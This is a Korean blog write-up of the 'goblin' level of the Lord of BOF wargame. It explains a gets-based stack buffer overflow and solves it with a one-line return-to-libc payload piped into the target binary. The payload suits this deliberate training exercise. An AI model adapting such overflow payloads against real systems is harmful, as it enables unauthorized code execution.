처음 소스를 보시면 gremlin과 상당히 유사함을 볼수 있습니다. 16바이트 배열선언 배열에 문자열을 받고 출력. 하지만 파라미터값을 strcpy로 배열에 저장했던 gremlin과는 달리 이 문제는 gets를 통해서 프로그램 실행중 직접 입력을 받습니다.
그럼 내부를 분석해 볼게요.
- 스택에 16바이트의 공간을 할당하고
- eax에 배열의 시작주소를 복사하여
- gets함수로 입력을 받고
- 출력
네. gremlin과 매우! 비슷합니다. 게다가 gremlin때와 같은 환경이기 때문에 libc의 주소도 같습니다. payload를 짤 필요도 없게 되는군요. 그럼 여기서 고민해야 될건 어떻게 gets함수에 stdin을 넘겨주냐가 되겠군요. 사실 BOF원정대를 풀기 시작하신분은 이미 다 알고계신 내용이겠지만 혹시 모르니 대충은 설명하고 가겠습니다.
리눅스에는 파이프(|)라는 명령어(?)가 존재합니다. 파이프란, 한 프로그램의 출력(stdout)을 다른 프로그램의 입력(stdin)으로 넘겨주는 기능입니다. 이걸 활용하면 되겠습니다.
그럼 이제 공격을 해보겠습니다
[cobolt@localhost cobolt]$ (python -c 'print"\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"';cat)|./goblin
공격에 성공했습니다!
[+] 원래는 gets함수의 취약점을 이용하여 공격을 하는게 정석이겠지만 저번문제로 RTL을 이용해 풀어봤기 때문에 복습하는 의미로 다시한번 RTL로 풀어보았습니다. 나중에 시간이 되면 gets함수를 이용한 풀이도 올리도록 하겠습니다.
'Hackerschool > Lord Of BOF' 카테고리의 다른 글
[*] gremlin - small buffer (0) | 2015.01.29 |
---|---|
[*] gate - simple BOF (0) | 2015.01.29 |